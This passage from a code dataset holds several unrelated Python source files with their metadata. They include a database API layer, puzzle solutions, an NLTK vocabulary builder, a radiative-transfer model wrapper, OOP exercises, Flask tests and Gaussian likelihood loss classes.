exception\nfrom testhub_restapi.db import api\nfrom testhub_restapi.db.sqlalchemy import models\nfrom oslo_config import cfg\nfrom oslo_db import exception as db_exc\nfrom oslo_db.sqlalchemy import session as db_session\nimport sqlalchemy.orm.exc\nimport ConfigParser\n\nCONF = cfg.CONF\n\n_FACADE = None\n\n\ndef _create_facade_lazily():\n global _FACADE\n if _FACADE is None:\n app_file = '/opt/testhub/testhub_restapi/app.conf'\n config = ConfigParser.RawConfigParser()\n config.read(app_file)\n connection_url = config.get('database', 'connection')\n _FACADE = db_session.EngineFacade(connection_url)\n return _FACADE\n\n\ndef get_engine():\n facade = _create_facade_lazily()\n return facade.get_engine()\n\n\ndef get_session(**kwargs):\n facade = _create_facade_lazily()\n return facade.get_session(**kwargs)\n\n\ndef get_backend():\n return Connection()\n\n\ndef model_query(model, *args, **kwargs):\n\n session = kwargs.get('session') or get_session()\n query = session.query(model, *args)\n return query\n\n\nclass Connection(api.Connection):\n\n def __init__(self):\n pass\n\n def get_testinfo_list(self):\n query = model_query(models.testinfo)\n return query.all()\n\n def get_testinfo_by_status(self, status):\n query = model_query(models.testinfo)\n query = query.filter_by(status=status)\n try:\n return query.one()\n except sqlalchemy.orm.exc.NoResultFound:\n raise exception.TestInfoDataNotFound()\n\n def get_testinfo_by_uuid(self, uuid):\n query = model_query(models.testinfo)\n query = query.filter_by(uuid=uuid)\n try:\n return query.one()\n except sqlalchemy.orm.exc.NoResultFound:\n raise exception.TestInfoDataNotFound()\n\n def create_testinfo(self, values):\n testinfo = models.testinfo()\n testinfo.update(values)\n try:\n testinfo.save()\n except db_exc.DBDuplicateEntry:\n raise exception.TestInfoNotUnique()\n return testinfo\n\n def get_testinfo_by_subject(self, subject):\n query = model_query(models.testinfo)\n query = query.filter_by(subject=subject)\n try:\n return query.all()\n except sqlalchemy.orm.exc.NoResultFound:\n raise exception.TestInfoDataNotFound()\n\n def delete_testinfo(self, uuid):\n query = model_query(models.testinfo)\n query = query.filter_by(uuid=uuid)\n try:\n setupdata_ref = query.one()\n except sqlalchemy.orm.exc.NoResultFound:\n raise exception.TestInfoDataNotFound()\n query.delete()\n return setupdata_ref\n\n def update_testinfo(self, uuid, values):\n query = model_query(models.testinfo)\n query = query.filter_by(uuid=uuid)\n try:\n ref = query.with_lockmode('update').one()\n except sqlalchemy.orm.exc.NoResultFound:\n raise exception.TestInfoDataNotFound()\n query.update(values)\n return ref\n\n","sub_path":"testhub_restapi/testhub_restapi/db/sqlalchemy/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"290889274","text":"\"\"\"\nthis is part 2\nthe two parts of this puzzle follow pretty much exactly\nthe same logic, so i don't think i have to comment this\n\"\"\"\nfrom itertools import product\nfrom copy import deepcopy\nimport numpy as np\n\nSIM_AMT = 6\n\n\ndef neighbors(x: int, y: int, z: int, w: int):\n theNeighbors = []\n for triplet in product(*([[1, -1, 0]] * 4)):\n theNeighbors.append([x + triplet[0], y + triplet[1], z + triplet[2], w + triplet[3]])\n theNeighbors.remove([x, y, z, w])\n return theNeighbors\n\n\n# NOTE: indices are referred to in w, z, y, x, not x, y, z, w because of array stuff\nwith open('manyWays.txt') as read:\n plane = [[int(i == '#') for i in line.rstrip()] for line in read.readlines()]\n assert len(plane) == len(plane[0]), 'can you just give a square as input?'\n arr = np.zeros((1, 1, len(plane), len(plane)))\n arr[0][0] = plane\n\nfor _ in range(SIM_AMT):\n wAndZ = len(arr) + 2\n xAndY = len(arr[0][0]) + 2\n expanded = np.zeros((wAndZ, wAndZ, xAndY, xAndY))\n expanded[1:wAndZ - 1, 1:wAndZ - 1, 1:xAndY - 1, 1:xAndY - 1] = arr\n arr = expanded\n\n newArr = deepcopy(arr)\n for x in range(xAndY):\n for y in range(xAndY):\n for z in range(wAndZ):\n for w in range(wAndZ):\n filledCount = 0\n for nX, nY, nZ, nW in neighbors(x, y, z, w):\n if 0 <= nX < xAndY and 0 <= nY < xAndY and 0 <= nZ < wAndZ and 0 <= nW < wAndZ:\n filledCount += arr[nW, nZ, nY, nX]\n if arr[w, z, y, x] == 1 and filledCount not in [2, 3]:\n newArr[w, z, y, x] = 0\n elif arr[w, z, y, x] == 0 and filledCount == 3:\n newArr[w, z, y, x] = 1\n arr = newArr\n\nprint(\"bro the protag has goddamn ascended to a new level of existence: %i\" % np.sum(arr))\n","sub_path":"y2020/day17/manyManyTimes.py","file_name":"manyManyTimes.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"614468620","text":" #!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport sqlite3\n\n# DB 연결\ndb = sqlite3.connect(\"test.db\")\ncursor = db.cursor()\n\ndatas = [(1, \"cheetah\"), (2, \"puma\"), (3, \"leopard\")]\n\n# 테이블 생성\ncursor.execute(\"create table animal (no, name)\")\n\n# 데이터 INSERT\ncursor.executemany(\"insert into animal values (?, ?)\", datas)\n\n# 최종 INSERT된 rowid 출력\nprint ('Last rowid: ' + str(cursor.lastrowid))\n# Row count 출력\nprint ('Row count: ' + str(cursor.rowcount))\n\n\n# 쿼리\ncursor.execute(\"select * from animal\")\nfor row in cursor:\n print (row[1])\n\ncursor.execute(\"update animal set name='jaguar' where no=3\");\n\ncursor.execute(\"select * from animal\")\nprint (cursor.fetchall())\n\ncursor.execute(\"select * from animal where no=1\")\nrow = cursor.fetchone()\nprint ('No 1 is ' + row[1]);\n\n# 종료\ncursor.close()\n\ndb.commit()\ndb.close()\n","sub_path":"blog/templates/blog/animal.py","file_name":"animal.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"79336640","text":"import nltk\nimport pickle\nimport argparse\nfrom collections import Counter\n\n# CAP_FILE = './data/captions/{}.tsv'\n# DICT_OUTPUT_FILE = './data/captions/{}.json'\n\nclass Vocabulary(object):\n \"\"\"Simple vocabulary wrapper.\"\"\"\n def __init__(self):\n self.word2idx = {}\n self.idx2word = {}\n self.idx = 0\n\n def add_word(self, word):\n if not word in self.word2idx:\n self.word2idx[word] = self.idx\n self.idx2word[self.idx] = word\n self.idx += 1\n\n def __call__(self, word):\n if not word in self.word2idx:\n return self.word2idx['']\n return self.word2idx[word]\n\n def __len__(self):\n return len(self.word2idx)\n\n def init_vocab(self):\n self.add_word('')\n self.add_word('')\n self.add_word('')\n self.add_word('')\n self.add_word('')\n\n\n def save(self, file_name):\n data = {}\n data['word2idx'] = self.word2idx\n data['idx2word'] = self.idx2word\n data['idx'] = self.idx\n import json\n with open(file_name, 'w') as f:\n json.dump(data, f, indent=4)\n return\n\n def load(self, file_name):\n import json\n with open(file_name, 'r') as f:\n data = json.load(f)\n self.word2idx = data['word2idx']\n self.idx2word = data['idx2word']\n self.idx = data['idx']\n return\n\ndef build_vocab(cap_file, threshold):\n \"\"\"Build a simple vocabulary wrapper.\"\"\"\n import json\n data = json.load(open(cap_file, 'r'))\n # with open(json, 'rb') as f:\n # [data] = pickle.load(f)\n\n counter = Counter()\n print('total number of image pairs',len(data))\n for i in range(len(data)):\n captions = data[i]['captions']\n # for caption in captions:\n tokens = nltk.tokenize.word_tokenize(captions.lower())\n counter.update(tokens)\n\n if (i+1) % 1000 == 0:\n print(\"[{}/{}] Tokenized the captions.\".format(i+1, len(data)))\n # break\n\n # If the word frequency is less than 'threshold', then the word is discarded.\n words = [word for word, cnt in counter.items() if cnt >= threshold]\n\n # Create a vocab wrapper and add some special tokens.\n vocab = Vocabulary()\n vocab.init_vocab()\n\n # Add the words to the vocabulary.\n for i, word in enumerate(words):\n vocab.add_word(word)\n\n return vocab\n\ndef main(args):\n vocab = build_vocab(cap_file=args.data_set_path, threshold=args.threshold)\n vocab.save(args.save_output_path)\n print(\"Total vocabulary size: {}\".format(len(vocab)))\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_set_path', type=str, default='dress')\n parser.add_argument('--save_output_path', type=str, default='dress')\n parser.add_argument('--threshold', type=int, default=2,\n help='minimum word count threshold')\n args = parser.parse_args()\n main(args)","sub_path":"transformer/user_modeling/build_vocab.py","file_name":"build_vocab.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"570512114","text":"import random\nimport re\ndef create_hash(length):\n result = ''\n for i in range(0,length):\n rnd = random.randint(0,61)\n # if rnd < 10, a number between 0 and 9 is added to the result\n if rnd < 10:\n new = chr(48+rnd)\n # if 10<= rnd < 36, a letter between A and Z is added to the result\n elif rnd < 36:\n new = chr(65+rnd-10)\n # if 36 <= rnd < 62, a letter between a and z is added to the result.\n else:\n new = chr(97+rnd-36)\n result += str(new)\n return result\nvalid_parcours_steps = ['left','right','straight']\ndef check_parcours(parcours):\n global valid_parcours_steps\n if isinstance(parcours,list):\n for item in parcours:\n if not (item in valid_parcours_steps):\n return False\n return True\n else:\n return False\ndef parse_parcours(commands):\n result = []\n for command in commands:\n direction = str(command[\"direction\"])\n count = int(command[\"toDo\"])\n for i in range(0,count-1):\n result.append('straight')\n result.append(direction)\n # Throw away the last ,\n return result\n","sub_path":"Code in progress/Website/webserver_utility.py","file_name":"webserver_utility.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"214457507","text":"class Solution(object):\n def numIslands(self, grid):\n \"\"\"\n :type grid: List[List[str]]\n :rtype: int\n \"\"\"\n visited = [[False]*len(grid[0]) for _ in range(len(grid))]\n count = 0\n\n for i in range(len(grid)):\n for j in range(len(grid[0])):\n if grid[i][j] == '1' and not visited[i][j]:\n self.runDFS(grid,i,j,visited)\n count += 1\n\n return count\n\n def runDFS(self,grid,i,j,visited):\n visited[i][j] = True\n r = [0,0,1,-1]\n c = [1,-1,0,0]\n for p in range(len(r)):\n if self.isNeighbour(grid,i+r[p],j+c[p],visited):\n self.runDFS(grid,i+r[p],j+c[p],visited)\n\n\n def isNeighbour(self,grid,i,j,visited):\n if i>=0 and j>=0 and i \")\n file_.write(\"upwelling, 180 -> downwelling\\n\")\n file_.write(\" {} {} {}\".format(wavenumber_low, \\\n wavenumber_high, inp.RESOLUTION))\n file_.write(\" v_start, v_end, and v_delta [cm-1]\\n\")\n file_.write(\"1 Cloud parameter option flag: \")\n file_.write(\"0: reff and numdens, >=1: reff and tau\\n\")\n if inp.BUILTIN:\n file_.write(\"{} \".format(n_layer_liq+n_layer_ice))\n file_.write(\"Number of cloud layers\\n\")\n else:\n file_.write(\"{}\".format(n_layer_liq+(int(inp.NUM_OF_SHAPES*n_layer_ice))))\n file_.write(\" Number of cloud layers\\n\")\n for loop_liq_layer in range(n_layer_liq):\n alt = cloud_grid[loop_liq_layer]*1e-3\n for loop_radio_height in range(len(self.__radio['height'])):\n if(self.__radio['height'][loop_radio_height] > alt - 1e-3 and \\\n self.__radio['height'][loop_radio_height] < alt + 1e-3):\n ind = loop_radio_height\n break\n temp_of_layer = self.__radio['temperature'][ind]\n if temp_of_layer < 240 + (253 - 240)/2.0:\n mie_liq = 12\n elif temp_of_layer <= 253 + (263 - 253)/2.0:\n mie_liq = 13\n elif temp_of_layer <= 263 + (273 - 263)/2.0:\n mie_liq = 14\n else:\n mie_liq = 0\n tau_liq_lay = tau_liquid/float(n_layer_liq)\n reff_liq = self.__r_eff_liq*inp.SCALE\n file_.write(\"{} {:5.3f} {:10.8f} -1 {:10.8f}\\n\".format(mie_liq, \\\n alt, reff_liq, tau_liq_lay))\n for loop_ice_layer in range(n_layer_ice):\n alt = cloud_grid[loop_ice_layer]*1e-3\n reff_ice = self.__r_eff_ice*inp.SCALE\n tau_ice_lay = tau_ice/float(n_layer_ice)\n if inp.BUILTIN:\n if self.__r_eff_ice <= 16:\n mie_ice = 4\n else:\n mie_ice = 7\n file_.write(\"{} {:5.3f} {:10.8f} -1 {:10.8f}\\n\".format(mie_ice, \\\n alt, reff_ice, tau_ice_lay))\n else:\n for loop_ice_shape in range(len(inp.SHAPES)):\n if inp.SHAPES[loop_ice_shape] > 0.0:\n mie_ice = loop_ice_shape+1\n tau_ice_lay = inp.SHAPES[loop_ice_shape] * \\\n tau_ice/float(n_layer_ice)\n file_.write(\"{} {:5.3f} \".format(mie_ice, alt))\n file_.write(\"{:10.8f} -1 {:10.8f}\\n\".format(reff_ice, tau_ice_lay))\n file_.write(\"{}\\n\".format(aux.LBLDIR))\n file_.write(\"solar/solar.kurucz.rad.1cm-1binned.full_disk.asc\\n\")\n file_.write(\"15 Number of scattering property databases\\n\")\n file_.write(\"ssp/ssp_db.mie_wat.gamma_sigma_0p100\\n\")\n file_.write(\"ssp/ssp_db.mie_ice.gamma_sigma_0p100\\n\")#1\n file_.write(\"ssp/ssp_db.Aggregate.gamma.0p100\\n\")#2\n file_.write(\"ssp/ssp_db.BulletRosette.gamma.0p100\\n\")#3\n file_.write(\"ssp/ssp_db.Droxtal.gamma.0p100\\n\")#4\n file_.write(\"ssp/ssp_db.HollowCol.gamma.0p100\\n\")#5\n file_.write(\"ssp/ssp_db.Plate.gamma.0p100\\n\")#6\n file_.write(\"ssp/ssp_db.SolidCol.gamma.0p100\\n\")#7\n file_.write(\"ssp/ssp_db.Spheroid.gamma.0p100\\n\")#8\n file_.write(\"ssp/ssp_db.mie_gypsum.lognormal_sigma_0p699\\n\")#9\n file_.write(\"ssp/ssp_db.mie_kaolinite.lognormal_sigma_0p699\\n\")#12\n file_.write(\"ssp/ssp_db.mie_quartz.lognormal_sigma_0p699\\n\")#11\n file_.write(\"ssp/ssp_db.mie_wat_zasetsky240.gamma_sigma_0p100\\n\")#12\n file_.write(\"ssp/ssp_db.mie_wat_zasetsky253.gamma_sigma_0p100\\n\")#13\n file_.write(\"ssp/ssp_db.mie_wat_zasetsky263.gamma_sigma_0p100\\n\")#14\n file_.write(\"-1.\tSurface temperature (specifying a negative\")\n file_.write(\"value takes the value from profile)\\n\")\n file_.write(\"4\tNumber of surface spectral emissivity lines (wnum, emis)\\n\")\n file_.write(\"100 {}\\n\".format(inp.EMISSIVITY))\n file_.write(\"700 {}\\n\".format(inp.EMISSIVITY))\n file_.write(\"800 {}\\n\".format(inp.EMISSIVITY))\n file_.write(\"3000 {}\\n\".format(inp.EMISSIVITY))\n return\n\n ####################################################################################\n\n def run_disort(self):\n '''Start DISORT\n \n @param self self pointer\n '''\n lbldisout_file = '{}/.lbldisout_{}'.format(inp.PATH, self.__thread)\n lbldislog = '{}/.lbldislog_{}.txt'.format(inp.PATH, self.__thread)\n with open(\"{}/.run_disort_{}.sh\".format(inp.PATH, self.__thread), \"w\") as file_:\n file_.write(\"#!/bin/bash\\n\")\n exec_lbldis = '({}/lbldis {}/.lbldis_{}.parm 0 {}) >& {}\\n'\n file_.write(exec_lbldis.format(inp.PATH_TO_LBLDIS, inp.PATH, \\\n self.__thread, lbldisout_file, lbldislog))\n print(\"[{}] Run DISORT ...\".format(dt.datetime.now()))\n subprocess.call([\"bash\", \"{}/.run_disort_{}.sh\".format(inp.PATH, self.__thread)])\n print(\"[{}] DISORT finished ...\".format(dt.datetime.now()))\n\n return\n\n ####################################################################################\n\n def write_data_to_file(self):\n '''Read the calculated radiances\n \n @param self self pointer\n \n @return The calculated radiances\n '''\n wavenumber = []\n radiance = []\n wn_interpolated = []\n wn_out = []\n radiance_interpolated = []\n radiance_out = []\n disort_out = nc.Dataset('{}/.lbldisout_{}.cdf'.format(inp.PATH, self.__thread))\n \n '''\n Read the radiances\n '''\n for i in range(len(disort_out.variables['wnum'])):\n #if aux.in_windows(disort_out.variables['wnum'][i], inp.WINDOWS):\n wavenumber.append(disort_out.variables['wnum'][i])\n radiance.append(disort_out.variables['radiance'][i][0])\n \n if aux.SLOPE_RETR:\n return wavenumber, radiance\n '''\n Convolve the radiances with a boxcar function\n '''\n if inp.CONVOLVE:\n ft_boxcar = lambda xx: 2 * (inp.OPD) * np.sinc(2 * (inp.OPD) * xx)\n radiance = np.array(radiance)\n wavenumber = np.array(wavenumber)\n x_axis = np.array([loop_count for \\\n loop_count in range(len(wavenumber))])\n convolution = sig.convolve(radiance, \\\n ft_boxcar(x_axis), mode='full')\n convolution = np.array(convolution[:len(radiance)])\n normalisation = max(radiance)/max(convolution)\n radiance = normalisation * convolution\n\n '''\n If necessery, interpolate the calculated radiances to the FTIR grid\n '''\n \n \n for element in aux.WAVENUMBER_FTIR:\n try:\n if(element > wavenumber[0] and element < wavenumber[-1]):\n radiance_interpolated.append(np.interp(element, wavenumber, radiance))\n wn_interpolated.append(element)\n except IndexError:\n sys.stderr.write(\"{}\\n\".format(wavenumber))\n sys.exit(-1)\n\n '''\n Discard all values outside the microwindows\n '''\n\n number_of_datapoints = len(wn_interpolated)\n for i in range(number_of_datapoints):\n if aux.in_windows(wn_interpolated[i], inp.WINDOWS):\n radiance_out.append(radiance_interpolated[i])\n wn_out.append(wn_interpolated[i])\n\n return wn_out, radiance_out\n\n ####################################################################################\n\n def execute(self, lblrtm=False):\n '''Execute LBLDIS\n \n @param self self pointer\n @param lblrtm If true, also execute lblrtm\n\n @return The calculated radiances\n '''\n if lblrtm:\n self.run_lblrtm()\n\n\n self.write_lbldis_parm()\n self.run_disort()\n wavenumber, radiance = self.write_data_to_file()\n return wavenumber, radiance\n","sub_path":"src/run_lbldis.py","file_name":"run_lbldis.py","file_ext":"py","file_size_in_byte":14533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"323910003","text":"# Copyright (c) 2012-2013 Paul Tagliamonte \n#\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n\ntry:\n import fedmsg\nexcept ImportError:\n fedmsg = None\n\nimport debile.master.core\n\n\nif fedmsg:\n fcfg = debile.master.core.config.get(\"fedmsg\", {})\n\n fedmsg.init(\n topic_prefix=fcfg.get(\"prefix\", \"org.anized\"),\n environment=fcfg.get(\"environment\", \"dev\"),\n sign_messages=fcfg.get(\"sign\", False),\n endpoints=fcfg.get(\"endpoints\", {}),\n )\n\ndef emit(topic, modname, message):\n # ...\n modname = \"debile.%s\" % (modname)\n if fedmsg:\n return fedmsg.publish(topic=topic, modname=modname, msg=message)\n","sub_path":"debile/master/messaging.py","file_name":"messaging.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"168477106","text":"\n#Con http.client\nimport http.client\nimport json\ndef obtenerFotoConHttpClient():\n conn = http.client.HTTPSConnection('dog.ceo')\n conn.request('GET', '/api/breeds/image/random')\n res = conn.getresponse()\n content = res.read()\n json_data = json.loads(content)\n conn.close()\n print(json_data)\n\n\n#Con requests\nimport requests\ndef obtenerFotoConRequests():\n data = requests.get('https://dog.ceo/api/breeds/image/random').json()\n print(data)\n\n\nif __name__ == '__main__':\n obtenerFotoConHttpClient()\n #obtenerFotoConRequests()\n\n","sub_path":"EjemploSimple.py","file_name":"EjemploSimple.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"385624626","text":"import os\n\n\nclass Error(Exception):\n def __init__(self):\n Exception.__init__(self)\n\nclass SalaryGivingError(Error):\n def __init__(self):\n Error.__init__(self)\n self.message = \"Object does not exist in Employee and can`t give method give_salary()\"\n \n def __str__(self):\n return \"Object does not exist in Employee and can`t give method give_salary()\"\n\nclass NotEmployeeException(Error):\n def __init__(self):\n Error.__init__(self)\n self.message = \"List does not exist type Employee\"\n\n def __str__(self):\n return \"Some arguments are not exist object type Employee\"\n\nclass WrongEmployeeRoleError(Error):\n def __init__(self, second_name):\n Error.__init__(self)\n self.second_name = second_name\n def __str__(self):\n return \"Employee \" + self.second_name + \" has unexpected role!\"\n\n\nclass Employee(object):\n def __init__(self, name, secname, salary, experiance):\n self.name = name\n self.secname = secname\n self.salary = salary\n self.exp = experiance\n\n def __str__(self):\n return self.name + \" \" + self.secname + \", manager: \"\n \n def get_salary(self):\n if self.exp > 2 and self.exp < 5:\n self.salary = int(self.salary) + 200\n elif self.exp > 5:\n self.salary = int(self.salary)*1.2 + 500\n print (int(self.salary))\n return int(self.salary)\n \nclass developer(Employee):\n def __init__(self, name, secname, salary, experiance, man):\n super().__init__(name, secname, salary, experiance)\n self.hman = man\n\n\n def __str__(self):\n return super().__str__() + self.hman[0].name + \", experiance: \" + str(self.exp)\n\nclass designer(Employee):\n def __init__(self, name, secname, salary, experiance, effcoeff, man):\n super().__init__(name, secname, salary, experiance)\n self.coeff = effcoeff\n self.hman = man\n def __str__(self):\n return super().__str__() + self.hman[0].name + \", experiance: \" + str(self.exp)\n\n def get_salary(self):\n self.salary = super().get_salary()*self.coeff\n print (self.salary)\n return int(self.salary)\n\n\nclass manager(Employee):\n def __init__(self, name, secname, salary, experiance, man, team):\n super().__init__(name, secname, salary, experiance)\n self.hman = man\n self._team = team\n\n\n def __str__(self):\n return super().__str__() + self.hman[0].name + \", experiance: \" + str(self.exp)\n\n def getteam (self):\n print(self._team)\n return self._team\n \n def setteam (self, members):\n count = 0\n for i in members:\n if type(i) not in (manager, designer, developer):\n count += 1\n try:\n if len(members) == 0 or count == len(members) or count > 0:\n raise NotEmployeeException\n for i in members:\n if type(i) == manager:\n raise WrongEmployeeRoleError(i.secname)\n except NotEmployeeException as ex:\n print(ex.message)\n except WrongEmployeeRoleError:\n print(WrongEmployeeRoleError(i.secname))\n else:\n for i in members:\n self._team.append(i)\n return self._team\n \n def delteam(self):\n del self._team\n \n def get_salary(self):\n if len(self._team) > 5:\n self.salary = super().get_salary() + 200\n elif len(self._team) > 10:\n self.salary = super().get_salary() + 300\n elif sum(type(i) == developer for i in self._team) > len(self._team) / 2:\n self.salary = super().get_salary()*1.1\n print(int(self.salary))\n return (int(self.salary))\n \n teams = property(getteam, setteam, delteam, \"property teams\")\n\n\n\nclass department(object):\n def __init__(self, list):\n self._list = list\n \n \n def give_salary(self):\n try:\n for i in self._list:\n if type(i) not in (manager, designer, developer):\n raise SalaryGivingError\n except SalaryGivingError as ex:\n print(\"Exception: \" + ex.message)\n else:\n for i in self._list:\n print(i.name + \" \" + i.secname + \": got salary \" + str(int(i.salary)))\n\n def setlist(self, value):\n self._list.extend(value)\n return self._list\n def add_to_team (self, m, t):\n m.teams = t\n self._list.append(m)\n for i in t:\n self._list.append(i)\n return self._list\n \n lists = property(fset = setlist, doc=\"property lists\")\n\ndef main():\n Dep = department([])\n A = manager(\"Manager\", \"Cool\", 1000, 10, [], [])\n D = designer(\"Web\", \"Designer\", 1000, 10, 0.5, [A])\n B = developer(\"Max\", \"Zhovanik\", 500, 2, [A])\n C = developer (\"Max\", \"Goose\", 500, 0.5, [A])\n S = \"Error\"\n Q = manager(\"Manager2\", \"Cool2\", 10000, 10, [], [])\n F = developer(\"Ghost\", \"Goose\", 550, 1, [Q])\n A.teams = [B, C, Q]\n A.get_salary()\n B.get_salary()\n C.get_salary()\n D.get_salary()\n Dep.add_to_team(A, [Q, C, F])\n Dep.lists = [Q, D, B, \"AAA\"]\n Dep.give_salary()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Resolution/oop_error_tasks.py","file_name":"oop_error_tasks.py","file_ext":"py","file_size_in_byte":5224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"547693300","text":"import random\nimport string\n\nfrom tests.base import BaseTestCase\n\n\nclass BaseTestLoggedIn(BaseTestCase):\n def login(self):\n if not hasattr(self, 'headers'):\n # Register a test user and save token\n with self.app.test_request_context():\n payload = {\n \"email\": ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) + \"@tv.mx\",\n \"password\": \"test_field\"\n }\n response = self.client.post('/auth/register', json=payload)\n self.headers = {'x-access-token': response.json[\"auth_token\"]}\n\n def logged_in_up_and_running(self):\n response_html = self.client.get('/')\n self.assert200(response_html)\n\n response_json = self.client.get('/upandrunning')\n self.assert200(response_json)\n body = response_json.json\n self.assertEqual(body['msg'], \"Up and running!\")\n self.assertGreaterEqual(body['version'], 1)\n\n response = self.client.get('/auth/pong', headers=self.headers)\n self.assert200(response)\n self.assertEqual(response.json['msg'], 'pong')","sub_path":"tests/basetest_loggedin.py","file_name":"basetest_loggedin.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"337456139","text":"'''\r\nAuthor: dingdingtao\r\nDate: 2020-12-18 12:41:05\r\nLastEditTime: 2021-03-12 18:39:41\r\nLastEditors: dingdingtao\r\nDescription: 清洗数据\r\n'''\r\nimport re\r\nimport emoji\r\n\r\n\r\n'''\r\ndescription: 数据清洗\r\nparam {*} content 要清洗的数据\r\nreturn {*} 清洗过后的数据\r\n'''\r\ndef regular_filtering(content):\r\n emoji_pattern = re.compile(u'[\\U0001F680-\\U0001F6FF]|[\\U0001F300-\\U0001F64F]|[\\u2600-\\u2B55]')\r\n bengali_pattern = re.compile(u'[\\u0980-\\u09FF]')\r\n symbol_pattern = re.compile(u'[,𓊈𓊉«\\{\\{.;`~!@#$%^&*()+=|\\{\\}\\':;\\',\\\\\\\"[\\\\].<>/?~!@#¥%……&*()——+|\\{\\}【】‘;:”“’。,、?]')\r\n zh_pattern = re.compile(u'[\\u4e00-\\u9fa5a-zA-Z0-9x0400-x052f\\“\\”]+')\r\n \r\n match = re.sub(emoji_pattern, '', content)\r\n match = re.sub(bengali_pattern, '', match)\r\n match = re.sub(symbol_pattern, '', match)\r\n\r\n return match\r\n\r\n\r\nif __name__ == \"__main__\":\r\n filtering_word = regular_filtering(\"🎸aaaa🎸\")\r\n print(filtering_word)","sub_path":"python/sensitive/sensitive_ocr/step_1_data/cleaning_data.py","file_name":"cleaning_data.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"195362228","text":"from abc import ABC, abstractmethod\nimport numpy as np\nfrom scipy.special import logsumexp\nfrom h0rton.h0_inference.gaussian_bnn_posterior_cpu import sigmoid, logsigmoid\n__all__ = ['BaseGaussianNLLCPU', 'DiagonalGaussianNLLCPU', 'FullRankGaussianNLLCPU', 'DoubleGaussianNLLCPU']\n\nlog_2_pi = 1.8378770664093453\nlog_2 = 0.6931471805599453\n\nclass BaseGaussianNLLCPU(ABC):\n \"\"\"Abstract base class to represent the Gaussian negative log likelihood (NLL).\n\n Gaussian NLLs or mixtures thereof with various forms of the covariance matrix inherit from this class.\n\n \"\"\"\n def __init__(self, Y_dim):\n \"\"\"\n Parameters\n ----------\n Y_dim : int\n number of parameters to predict\n\n \"\"\"\n self.Y_dim = Y_dim\n self.sigmoid = sigmoid\n self.logsigmoid = logsigmoid\n\n @abstractmethod\n def slice(self, pred):\n \"\"\"Slice the raw network prediction into meaningful Gaussian parameters\n\n Parameters\n ----------\n pred : np.Tensor of shape `[batch_size, self.Y_dim]`\n the network prediction\n\n \"\"\"\n return NotImplemented\n\n @abstractmethod\n def __call__(self, pred, target):\n \"\"\"Evaluate the NLL. Must be overridden by subclasses.\n\n Parameters\n ----------\n pred : np.Tensor\n raw network output for the predictions\n target : np.Tensor\n Y labels\n\n \"\"\"\n return NotImplemented\n\n def nll_diagonal(self, target, mu, logvar):\n \"\"\"Evaluate the NLL for single Gaussian with diagonal covariance matrix\n\n Parameters\n ----------\n target : np.Tensor of shape [batch_size, Y_dim]\n Y labels\n mu : np.Tensor of shape [batch_size, Y_dim]\n network prediction of the mu (mean parameter) of the BNN posterior\n logvar : np.Tensor of shape [batch_size, Y_dim]\n network prediction of the log of the diagonal elements of the covariance matrix\n\n Returns\n -------\n np.Tensor of shape\n NLL values\n\n \"\"\"\n precision = np.exp(-logvar)\n # Loss kernel\n loss = precision * (target - mu)**2.0 + logvar\n # Restore prefactors\n loss += np.log(2.0*np.pi)\n loss *= 0.5\n return np.mean(np.sum(loss, axis=1), axis=0)\n\n def nll_full_rank(self, target, mu, tril_elements, reduce=True):\n \"\"\"Evaluate the NLL for a single Gaussian with a full-rank covariance matrix\n\n Parameters\n ----------\n target : np.Tensor of shape [batch_size, Y_dim]\n Y labels\n mu : np.Tensor of shape [batch_size, Y_dim]\n network prediction of the mu (mean parameter) of the BNN posterior\n tril_elements : np.Tensor of shape [batch_size, Y_dim*(Y_dim + 1)//2]\n reduce : bool\n whether to take the mean across the batch\n\n Returns\n -------\n np.Tensor of shape [batch_size,]\n NLL values\n\n \"\"\"\n batch_size, _ = target.shape\n tril = 